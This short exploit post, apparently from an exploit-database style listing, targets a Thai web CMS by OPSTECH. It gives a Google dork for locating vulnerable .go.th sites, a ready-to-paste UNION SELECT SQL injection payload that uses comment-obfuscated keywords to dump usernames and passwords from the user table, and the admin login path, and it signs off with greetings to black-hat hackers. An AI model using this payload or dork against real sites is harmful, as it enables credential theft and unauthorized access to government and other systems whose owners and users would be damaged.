##############################################################
# Exploit Title: Copyright © 2008 by OPSTECH Multi SQL Injection
# Google Dork: intext:Copyright © 2008 by OPSTECH All Right Reserved. site:go.th
# Date: 6.10.2018
# Exploit Author: mr.Gh0st N@0b
# Vendor Homepage: http://www.opstech.co.th/
# Tested on: Window 10
################################################################
POC
Dorking at Google
Open a new tab
eg. localhost/payload
Payload
/index.php?mod=news_full&id_news=-94 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,group_concat(user,0x3a,pass,0x3c62723e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from cms_main_user-- -&path=news
Adminlogin
/index.php?mod=login&path=login
#####################################################
# mr.Gh0st N@0b
# Myanmar Noob Hackers
# Greetz to All Myanmar Black Hats
# https://www.facebook.com/official.myanmar.noob.hackers/
#####################################################
